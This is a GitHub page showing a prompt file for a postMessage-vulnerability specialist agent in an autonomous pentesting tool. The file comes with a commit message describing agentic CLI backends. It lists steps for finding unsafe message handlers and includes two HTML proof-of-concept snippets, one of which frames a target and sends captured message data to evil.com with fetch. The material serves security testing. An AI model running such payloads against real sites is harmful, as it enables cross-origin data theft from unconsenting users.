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CyberSecurityUP
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Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
39 lines
1.7 KiB
Markdown
39 lines
1.7 KiB
Markdown
# postMessage Vulnerability Specialist Agent
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## User Prompt
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You are testing **{target}** for postMessage vulnerabilities.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Find postMessage Handlers
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- Search JavaScript for `addEventListener('message'` or `onmessage`
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- Check if origin is validated: `event.origin === 'https://trusted.com'`
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- Look for `eval()`, `innerHTML`, `document.write()` in handlers
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### 2. Find postMessage Senders
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- Search for `postMessage(` calls
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- Check if target origin is `*` (wildcard = leaks data)
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- Sensitive data in postMessage payloads
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### 3. Exploit Scenarios
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- Missing origin check: send crafted message from evil iframe
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```html
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<iframe src="https://target.com/page" onload="this.contentWindow.postMessage('malicious','*')"></iframe>
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```
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- Wildcard target: frame target and listen for leaked data
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```html
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<iframe src="https://target.com/page"></iframe>
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<script>window.addEventListener('message',function(e){fetch('https://evil.com/log?d='+e.data)});</script>
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```
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### 4. Report
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```
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FINDING:
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- Title: postMessage [missing origin check / data leak] at [endpoint]
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- Severity: Medium
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- CWE: CWE-346
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- Endpoint: [URL]
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- Handler/Sender: [code snippet]
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- Origin Check: [missing/bypassable]
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- Impact: Cross-origin data injection or data exfiltration
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- Remediation: Validate event.origin, use specific targetOrigin
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```
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## System Prompt
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You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin and processes data unsafely, OR (2) postMessage sends sensitive data with targetOrigin '*'. The handler must do something dangerous with the data (DOM manipulation, eval, etc.) — just receiving messages without unsafe operations is not a vulnerability.
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